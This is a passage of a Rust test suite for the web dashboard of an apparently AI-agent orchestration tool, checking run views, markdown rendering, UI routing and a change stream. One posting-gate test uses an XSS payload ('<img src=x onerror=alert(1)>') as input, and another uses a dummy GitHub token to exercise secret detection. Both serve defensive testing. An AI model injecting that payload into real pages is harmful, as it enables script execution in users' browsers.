19414 let mut state = RunState::new(
19415 "/repo".into(),
19416 "main".into(),
19417 "abc".into(),
19418 "task".into(),
19419 crate::config::Config::default(),
19420 );
19421 state.status = RunStatus::Blocked;
19422 state.gate_ran = true;
19423 state.gate.push(crate::run::CommandOutcome {
19424 command: "cargo make check".into(),
19425 code: Some(1),
19426 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19427 duration_ms: 0,
19428 resource_blocked: false,
19429 });
19430 let view = RunDetailView::of(
19431 state,
19432 false,
19433 crate::run::Liveness::Unknown,
19434 None,
19435 None,
19436 None,
19437 );
19438 let value = serde_json::to_value(view).unwrap();
19439 assert_eq!(
19440 value["stop_reason"],
19441 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19442 );
19443 }
19444
19445 #[test]
19446 fn the_run_detail_payload_says_whether_the_run_is_done() {
19447 for (status, done) in [
19449 (RunStatus::Superseded, true),
19450 (RunStatus::Blocked, true),
19451 (RunStatus::Landing, false),
19452 ] {
19453 let mut state = RunState::new(
19454 std::path::PathBuf::from("/repo"),
19455 "main".to_owned(),
19456 "abc".to_owned(),
19457 "x".to_owned(),
19458 crate::config::Config::default(),
19459 );
19460 state.status = status;
19461 let v = serde_json::to_value(RunDetailView::of(
19462 state,
19463 false,
19464 crate::run::Liveness::Unknown,
19465 None,
19466 None,
19467 None,
19468 ))
19469 .unwrap();
19470 assert_eq!(v["done"], done, "{status:?}");
19471 }
19472 }
19473
19474 fn has_strong(nodes: &[md::Node]) -> bool {
19476 serde_json::to_string(nodes).unwrap().contains("strong")
19477 }
19478
19479 #[test]
19480 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19481 let mut state = RunState::new(
19482 std::path::PathBuf::from("/repo"),
19483 "main".to_owned(),
19484 "abc".to_owned(),
19485 "x".to_owned(),
19486 crate::config::Config::default(),
19487 );
19488 let proposal = |approach: &str| {
19489 serde_json::json!({
19490 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19491 })
19492 };
19493 state.advice = Some(
19494 serde_json::from_value(serde_json::json!({
19495 "records": [
19496 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19497 "proposal": proposal("do **this**")},
19498 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19499 ],
19500 "synthesis": "- one\n- **two**\n\n`code`",
19501 }))
19502 .unwrap(),
19503 );
19504 state.candidates = serde_json::from_value(serde_json::json!([
19505 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19506 "summary": "did **it**"},
19507 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19508 ]))
19509 .unwrap();
19510 state.reviews = serde_json::from_value(serde_json::json!([{
19513 "round": 1, "head": "h",
19514 "reviews": [{
19515 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19516 "findings": [
19517 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19518 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19519 ],
19520 }],
19521 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19522 "fix": {"agent": "a", "notes": "fixed **it**",
19523 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19524 }, {"round": 2, "head": "h2", "reviews": []}]))
19525 .unwrap();
19526
19527 let v = serde_json::to_value(RunDetailView::of(
19528 state,
19529 false,
19530 crate::run::Liveness::Unknown,
19531 None,
19532 None,
19533 None,
19534 ))
19535 .unwrap();
19536
19537 let strong = |p: &str| {
19538 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19539 assert!(n.to_string().contains("strong"), "{p}: {n}");
19540 };
19541 strong("/advice_md/synthesis");
19542 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19543 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19544 strong("/advice_md/approaches/0");
19545 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19546 strong("/candidate_summaries_md/0");
19547 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19548 strong("/reviews_md/0/reviewers/0/summary");
19549 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19550 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19551 assert!(f[1].to_string().contains("strong"));
19552 strong("/reviews_md/0/reconsideration/0");
19553 strong("/reviews_md/0/fix/notes");
19554 strong("/reviews_md/0/fix/rejected/0");
19555 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19556 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19557 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19559 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19560 }
19561
19562 #[test]
19563 fn a_run_without_advice_has_no_advice_md() {
19564 let state = RunState::new(
19565 std::path::PathBuf::from("/repo"),
19566 "main".to_owned(),
19567 "abc".to_owned(),
19568 "x".to_owned(),
19569 crate::config::Config::default(),
19570 );
19571 let p = run_prose_md(&state);
19572 assert!(p.advice_md.is_none());
19573 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19574 }
19575
19576 #[test]
19577 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19578 let store = ask::Questions::at(PathBuf::from("unused"));
19579 let gt = crate::github_text::Withheld {
19580 title: false,
19581 body: true,
19582 categories: vec!["sensitive-data".into()],
19583 };
19584 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19585 let (detail, comparison) =
19586 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19587 let mut q = Question::new(
19588 "r".into(),
19589 "github-text".into(),
19590 "posting-gate".into(),
19591 "s".into(),
19592 detail,
19593 Vec::new(),
19594 );
19595 assert!(
19596 QuestionView::of(q.clone(), &store, None)
19597 .posting_view
19598 .is_none()
19599 );
19600 q.posting_comparison = Some(comparison);
19601 let view = QuestionView::of(q.clone(), &store, None);
19602 let field = &view.posting_view.unwrap().fields[0];
19603 assert_eq!(
19604 field
19605 .original
19606 .iter()
19607 .map(|f| f.text.as_str())
19608 .collect::<String>(),
19609 body
19610 );
19611 assert!(field.original[0].text.starts_with("<img"));
19612 let original_question: Question =
19613 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19614 assert_eq!(original_question, q);
19615 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19616 .original
19617 .start = 1;
19618 assert!(
19619 QuestionView::of(q.clone(), &store, None)
19620 .posting_view
19621 .is_none()
19622 );
19623 q.posting_comparison = original_question.posting_comparison;
19624 q.detail.push_str("extra context");
19625 assert!(
19626 QuestionView::of(q.clone(), &store, None)
19627 .posting_view
19628 .is_some()
19629 );
19630 q.detail.insert(0, 'x');
19631 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19632 }
19633
19634 #[test]
19635 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19636 let store = ask::Questions::at(PathBuf::from("unused"));
19637 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19638 let gt = crate::github_text::Withheld::from_check(
19639 &crate::github_text::check("fix: x", body),
19640 "fix: x",
19641 body,
19642 )
19643 .unwrap();
19644 let (detail, comparison) =
19645 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19646 let mut q = Question::new(
19647 "r".into(),
19648 "github-text".into(),
19649 "posting-gate".into(),
19650 "s".into(),
19651 detail,
19652 Vec::new(),
19653 );
19654 q.posting_comparison = Some(comparison);
19655 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19656 let field = &value["posting_view"]["fields"][0];
19657 let group = &field["replacement_group"];
19658 let triggers = group["triggers"].as_array().unwrap();
19659 assert_eq!(triggers.len(), 2);
19660 assert_ne!(triggers[0], triggers[1]);
19661 for id in triggers {
19662 assert!(
19663 field["original"]
19664 .as_array()
19665 .unwrap()
19666 .iter()
19667 .any(|f| &f["pair"] == id)
19668 );
19669 assert!(
19670 !field["changed"]
19671 .as_array()
19672 .unwrap()
19673 .iter()
19674 .any(|f| &f["pair"] == id)
19675 );
19676 }
19677 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19678 group["id"].as_u64().unwrap() as usize;
19679 assert!(
19680 QuestionView::of(q, &store, None).posting_view.is_none(),
19681 "group and trigger IDs cannot collide"
19682 );
19683 }
19684
19685 #[test]
19686 fn a_question_view_carries_markdown_for_each_thread_turn() {
19687 let home = TempDir::new().unwrap();
19688 let store = ask::Questions::at(home.path().join("questions"));
19689 let mut q = Question::new(
19690 "run".to_owned(),
19691 "implement".to_owned(),
19692 "impl-A".to_owned(),
19693 "which?".to_owned(),
19694 String::new(),
19695 Vec::new(),
19696 );
19697 q.say("plain words").unwrap();
19698 q.reply("use **this**", Vec::new()).unwrap();
19699 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19700 let bodies = &v["thread_bodies_md"];
19701 assert_eq!(bodies.as_array().unwrap().len(), 2);
19702 assert!(!bodies[0].to_string().contains("strong"));
19703 assert!(bodies[1].to_string().contains("strong"));
19704 }
19705
19706 #[test]
19707 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19708 let home = TempDir::new().unwrap();
19709 let store = ask::Questions::at(home.path().join("questions"));
19710 let mut q = Question::new(
19711 "run".to_owned(),
19712 "conduct".to_owned(),
19713 "conduct".to_owned(),
19714 "which?".to_owned(),
19715 String::new(),
19716 Vec::new(),
19717 );
19718 q.say("plain words").unwrap();
19719 q.thread.push(ask::Turn {
19720 who: ask::Who::Agent,
19721 body: "Settled as `merge`".to_owned(),
19722 at: jiff::Timestamp::now(),
19723 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19724 });
19725 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19726 let notes = &v["thread_notes_md"];
19727 assert_eq!(notes.as_array().unwrap().len(), 2);
19728 assert!(notes[0].is_null());
19729 let text = notes[1].to_string();
19730 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19731 assert!(APP_JS.contains("ask-turn-note"));
19732 }
19733
19734 #[test]
19735 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19736 assert!(APP_JS.contains("function landView(run, raw) {"));
19740 assert!(
19741 APP_JS.contains(
19742 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19743 )
19744 );
19745 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19746 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19747 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19748 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19749 }
19750
19751 #[test]
19752 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19753 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19754 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19755 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19756 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19757 }
19758
19759 #[test]
19760 fn review_rounds_label_a_distinct_verified_head() {
19761 assert!(APP_JS.contains("round.verified_head"));
19762 assert!(APP_JS.contains("verified HEAD"));
19763 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19764 }
19765
19766 #[test]
19767 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19768 assert!(APP_JS.contains("blocked: { glyph:"));
19772 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19773
19774 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19778 assert!(
19779 APP_JS.contains(
19780 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19781 ),
19782 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19783 );
19784 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19788
19789 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19793 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19794 assert!(
19795 APP_JS.contains("location.hash = \"#/questions\";"),
19796 "a question node must jump to the Questions screen, not pretend to be a task"
19797 );
19798
19799 assert!(APP_JS.contains("Resolved questions"));
19802 assert!(APP_JS.contains("r.answersList.append("));
19803 assert!(APP_CSS.contains(".task-answers"));
19804 {
19805 let start = APP_JS
19806 .find("function updateTalkTaskRow")
19807 .expect("updateTalkTaskRow");
19808 let body = &APP_JS[start..];
19809 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19810 assert!(
19811 body.contains(
19812 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19813 ),
19814 "a chat-filed task row must link to the task page"
19815 );
19816 assert!(
19817 !body.contains("#/runs/") && !body.contains("#/queue/"),
19818 "the row must not branch to a run or the queue card"
19819 );
19820 assert!(APP_CSS.contains(".talk-task-link"));
19821 }
19822 }
19823
19824 #[test]
19825 fn a_task_notification_links_to_the_task_page() {
19826 let start = APP_JS
19828 .find("function noticeLink(")
19829 .expect("noticeLink exists");
19830 let body = &APP_JS[start..];
19831 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19832 assert!(
19833 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19834 "a task notice's link must target the task page"
19835 );
19836 assert!(
19837 !body.contains("#/queue/"),
19838 "regression: the task link must not go back to the Backlog route"
19839 );
19840 assert!(
19841 APP_JS.contains(
19842 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19843 ),
19844 "`#/tasks/<id>` must parse into the task route"
19845 );
19846
19847 assert!(
19849 APP_JS.contains(
19850 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19851 ),
19852 "`#/queue/<id>` must parse into a route carrying that id"
19853 );
19854
19855 assert!(APP_JS.contains("state.queueFocus = route.id;"));
19859 assert!(APP_JS.contains("function consumeQueueFocus()"));
19860 assert!(APP_JS.contains("jumpToTask(id)"));
19861 }
19862
19863 #[test]
19864 fn notifications_distinguish_actionable_questions_from_informational_notices() {
19865 let start = APP_JS
19866 .find("function noticeCoveredBy(")
19867 .expect("noticeCoveredBy exists");
19868 let body = &APP_JS[start..];
19869 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19870
19871 assert!(body.contains("Associated question ${short}"));
19873 assert!(!body.contains("el(\"a\""));
19874
19875 assert!(body.contains("(resolved)"));
19877 assert!(body.contains("(closed)"));
19878
19879 let start = APP_JS
19880 .find("function renderNotifications()")
19881 .expect("renderNotifications exists");
19882 let body = &APP_JS[start..];
19883 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19884
19885 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19887 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19888 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
19889 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19890 }
19891
19892 #[test]
19895 fn chat_rows_put_the_title_alone_on_the_first_line() {
19896 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
19897 assert!(APP_CSS.contains(
19898 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19899 ));
19900 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19901 assert!(APP_JS.contains("class: \"badge talk-unread\""));
19902 }
19903
19904 #[test]
19905 fn run_rows_put_the_title_alone_on_the_first_line() {
19906 assert!(
19907 APP_CSS.contains(
19908 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
19909 )
19910 );
19911 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19912 assert!(APP_JS.contains("class: \"card run-card\""));
19913 assert!(APP_JS.contains("class: \"repo run-id\""));
19914 }
19915
19916 #[test]
19920 fn wide_screens_show_list_and_preview_side_by_side() {
19921 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19923 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19924 assert!(APP_CSS.contains("main[data-split]"));
19925 assert!(APP_CSS.contains("body[data-split]"));
19926
19927 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
19929 assert!(
19930 APP_JS.contains(
19931 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19932 )
19933 );
19934 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19935 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19936 assert!(INDEX_HTML.contains("id=\"split-empty\""));
19937
19938 assert!(APP_JS.contains("function markSelected() {"));
19940 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19941 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19942 assert!(
19944 APP_CSS.contains(
19945 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19946 )
19947 );
19948
19949 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19951 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19952 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19953 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19954
19955 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19959 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19960 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19961 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19962
19963 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19965 }
19966
19967 #[test]
19968 fn panel_sandbox_carries_exactly_popups() {
19969 let needle = "sandbox: \"";
19970 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19971 assert_eq!(
19972 matches.len(),
19973 1,
19974 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19975 );
19976 let start = matches[0].0 + needle.len();
19977 let end = APP_JS[start..]
19978 .find('"')
19979 .expect("sandbox attribute value must be terminated by a closing quote");
19980 let val = &APP_JS[start..start + end];
19981 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19982 let expected: std::collections::BTreeSet<&str> =
19983 ["allow-popups", "allow-popups-to-escape-sandbox"]
19984 .into_iter()
19985 .collect();
19986 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19987 assert!(
19988 !tokens.contains("allow-scripts"),
19989 "allow-scripts must never be present in sandbox"
19990 );
19991 assert!(
19992 !tokens.contains("allow-same-origin"),
19993 "allow-same-origin must never be present in sandbox"
19994 );
19995 }
19996
19997 #[test]
19998 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19999 assert!(
20008 APP_JS.contains(
20009 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20010 ),
20011 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20012 recursive renderQueue() call has nothing left to jump to"
20013 );
20014 assert!(
20015 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20016 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20017 arrives later still gets it"
20018 );
20019 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20020 assert!(APP_JS.contains("is not in the current Backlog."));
20021 assert!(APP_JS.contains("li.card[data-task-id=\""));
20022 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20023 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20024 assert!(APP_CSS.contains(".card-permalink"));
20025 assert!(APP_CSS.contains(".queue-focus-status"));
20026 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20027 }
20028
20029 #[test]
20030 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20031 assert!(
20039 APP_JS.contains(
20040 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20041 ),
20042 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20043 );
20044 }
20045
20046 #[test]
20047 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20048 assert!(
20049 APP_JS.contains("round.verified_head !== round.head"),
20050 "a round that verified an earlier commit must be visibly distinct from one that \
20051 verified the head reviewers are looking at now"
20052 );
20053 assert!(
20054 APP_JS.contains("round.verified_at"),
20055 "when a check ran must be on the wire, not just which commit"
20056 );
20057 assert!(
20058 APP_JS.contains("resource_blocked"),
20059 "a command magi never got to run (shared build cache contention) must not render \
20060 the same as a command that ran and failed"
20061 );
20062 }
20063
20064 #[test]
20065 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20066 assert!(
20074 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20075 "every KPI tile built through statusTile() must route its click through \
20076 openRunsFiltered, the single place that sets the Runs filter"
20077 );
20078 for (label, status) in [
20079 ("Merged", "merged"),
20080 ("Ready", "ready"),
20081 ("Blocked", "blocked"),
20082 ("Stalled", "stalled"),
20083 ] {
20084 let call = format!("statusTile(\"{label}\", t.{status}, ");
20085 assert!(
20086 APP_JS.contains(&call),
20087 "expected the {label} KPI tile built via {call}..."
20088 );
20089 assert!(
20090 APP_JS.contains(&format!("status === \"{status}\"")),
20091 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20092 compare a run against, not one invented only for the stats tile"
20093 );
20094 }
20095 assert!(
20096 APP_JS.contains("function openRunsFiltered(status)"),
20097 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20098 );
20099 assert!(
20100 APP_JS.contains(
20101 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20102 ),
20103 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20104 );
20105 assert!(
20113 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20114 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20115 hashchange event that may never fire"
20116 );
20117 }
20118
20119 #[test]
20120 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20121 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20127 assert!(
20128 APP_JS.contains(
20129 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20130 ),
20131 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20132 guard for an incompatible tree section"
20133 );
20134 }
20135
20136 #[test]
20137 fn every_stats_queue_tile_names_a_real_queue_section() {
20138 assert!(
20144 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20145 "every queue tile built through sectionTile() must route its click through \
20146 openQueueSectionFocus"
20147 );
20148 for key in ["upnext", "running", "done", "held", "blocked"] {
20149 assert!(
20150 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20151 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20152 );
20153 }
20154 for line in [
20158 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20159 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20160 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20161 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20162 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20163 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20164 ] {
20165 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20166 }
20167 }
20168
20169 #[test]
20170 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20171 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20178 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20179 assert!(APP_JS.contains("function revealQueueSection(details)"));
20180 assert!(
20181 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20182 "renderQueue() must consume both focus channels on every pass"
20183 );
20184 assert!(
20185 APP_JS.contains(
20186 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20187 ),
20188 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20189 the recursive renderQueue() call has nothing left to reveal"
20190 );
20191 assert!(
20192 APP_JS.contains(
20193 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20194 ),
20195 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20196 );
20197 assert!(
20205 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20206 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20207 hashchange event that may never fire"
20208 );
20209 }
20210
20211 #[tokio::test]
20212 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20213 let f = Fixture::start().await;
20214
20215 let mut socket = tokio::net::TcpStream::connect(f.addr)
20216 .await
20217 .expect("connect");
20218 socket
20219 .write_all(
20220 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20221 )
20222 .await
20223 .expect("write request");
20224
20225 let mut seen = String::new();
20228 let mut buf = [0u8; 1024];
20229 while !seen.contains("event: change") {
20230 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20231 .await
20232 .expect("the stream must speak within five seconds")
20233 .expect("read");
20234 assert!(read > 0, "the server closed the change stream: {seen}");
20235 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20236 }
20237
20238 assert!(
20239 seen.to_lowercase()
20240 .contains("content-type: text/event-stream"),
20241 "the browser only reconnects automatically for a real SSE stream: {seen}"
20242 );
20243 let data = seen
20244 .lines()
20245 .find_map(|l| l.strip_prefix("data:"))
20246 .expect("a data line");
20247 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20248 assert!(
20249 payload["queue_rev"].is_u64()
20250 && payload["runs_rev"].is_u64()
20251 && payload["questions_rev"].is_u64()
20252 && payload["talks_rev"].is_u64()
20253 && payload["notifications_rev"].is_u64()
20254 && payload["loop_rev"].is_u64(),
20255 "the client needs one revision per store to know what to refetch, \
20256 and `talks_rev` is the only notification a standing talk gets - a \
20257 phone whose radio slept through a turn learns about it here, as \
20258 does one whose operator started the loop from another device: \
20259 {payload}"
20260 );
20261
20262 let health = f.get("/api/health").await.json();
20269 for key in [
20270 "queue_rev",
20271 "runs_rev",
20272 "questions_rev",
20273 "talks_rev",
20274 "notifications_rev",
20275 "loop_rev",
20276 ] {
20277 assert!(
20278 health[key].is_u64(),
20279 "health is the change stream's fallback and is missing `{key}`: {health}"
20280 );
20281 }
20282 }
20283
20284 #[tokio::test]
20285 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20286 let f = Fixture::start().await;
20287 let before = f.get("/api/health").await.json()["talks_rev"]
20288 .as_u64()
20289 .expect("talks_rev");
20290
20291 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20292 std::thread::sleep(Duration::from_millis(10));
20293 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20294 on_disk.turns.push(crate::talk::Turn {
20295 sender: None,
20296 breaks: Some(Vec::new()),
20297 messages: Vec::new(),
20298 posted_by: None,
20299 who: crate::talk::Who::Operator,
20300 body: "a new turn".to_owned(),
20301 at: Timestamp::now(),
20302 attachments: Vec::new(),
20303 usage: None,
20304 });
20305 f.talks().put(&mut on_disk).expect("record a turn");
20306
20307 let after = tokio::time::timeout(Duration::from_secs(5), async {
20308 loop {
20309 let revision = f.get("/api/health").await.json()["talks_rev"]
20310 .as_u64()
20311 .unwrap();
20312 if revision != before {
20313 break revision;
20314 }
20315 tokio::time::sleep(Duration::from_millis(50)).await;
20316 }
20317 })
20318 .await
20319 .expect("shared monitor observes external turn");
20320 assert_ne!(
20321 before, after,
20322 "a phone must be able to notice a talk's reply without polling every store"
20323 );
20324 }
20325
20326 #[test]
20327 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20328 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20332 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20333 }
20334 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20335 assert!("everywhere".parse::<Bind>().is_err());
20336 }
20337
20338 #[test]
20339 fn an_explicit_bind_address_is_taken_verbatim() {
20340 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20341
20342 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20343
20344 assert_eq!(addr, asked);
20345 assert!(
20346 warning.is_none(),
20347 "an operator who named an address gets no lecture"
20348 );
20349 }
20350
20351 #[test]
20352 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20353 let (addr, warning) = resolve_bind(&Bind::Auto);
20354
20355 match addr {
20362 IpAddr::V4(ip) if is_tailnet(&ip) => {
20363 assert!(warning.is_none(), "a tailnet address needs no warning");
20364 }
20365 other => {
20366 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20367 let warning = warning.expect("a fallback has to explain itself");
20368 assert!(
20369 warning.contains("127.0.0.1") && warning.contains("local-only"),
20370 "the warning says what happened and what it costs: {warning}"
20371 );
20372 }
20373 }
20374 }
20375
20376 #[test]
